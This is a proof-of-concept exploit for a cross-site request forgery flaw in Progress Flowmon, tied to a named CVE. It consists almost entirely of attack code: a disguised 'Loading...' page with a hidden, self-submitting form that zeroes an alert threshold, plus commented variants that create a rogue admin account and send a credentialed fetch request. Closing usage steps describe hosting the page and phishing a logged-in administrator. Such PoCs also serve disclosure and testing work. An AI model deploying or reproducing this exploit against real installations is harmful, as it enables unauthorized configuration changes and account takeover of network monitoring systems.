# CVE-2025-10240 - Progress Flowmon CSRF PoC
# This PoC demonstrates how an attacker can craft a malicious HTML page
# that triggers unintended actions when a logged-in Flowmon admin visits it.

<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <h1>Please wait while we process your request...</h1>

    <!-- Method 1: Auto-submitting hidden form (POST-based CSRF) -->
    <form id="csrf-form" action="http://target-flowmon:443/api/v1/config" method="POST" style="display:none;">
        <input type="hidden" name="action" value="modify" />
        <input type="hidden" name="setting" value="alert_threshold" />
        <input type="hidden" name="value" value="0" />
        <input type="submit" value="Submit" />
    </form>

    <script>
        // Auto-submit the form when the page loads
        document.getElementById('csrf-form').submit();
    </script>

    <!-- Method 2: Image-based GET CSRF (simpler approach) -->
    <!-- <img src="http://target-flowmon:443/api/v1/admin/users/create?username=attacker&password=pwned&role=admin" style="display:none;" /> -->

    <!-- Method 3: Fetch-based CSRF (modern browsers) -->
    <!--
    <script>
        fetch('http://target-flowmon:443/api/v1/config', {
            method: 'POST',
            credentials: 'include',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify({
                action: 'modify',
                setting: 'alert_threshold',
                value: 0
            })
        });
    </script>
    -->
</body>
</html>

# Usage:
# 1. Host this HTML on an attacker-controlled server
# 2. Send the link to a logged-in Flowmon administrator via phishing
# 3. When admin clicks the link, the malicious request executes with their session
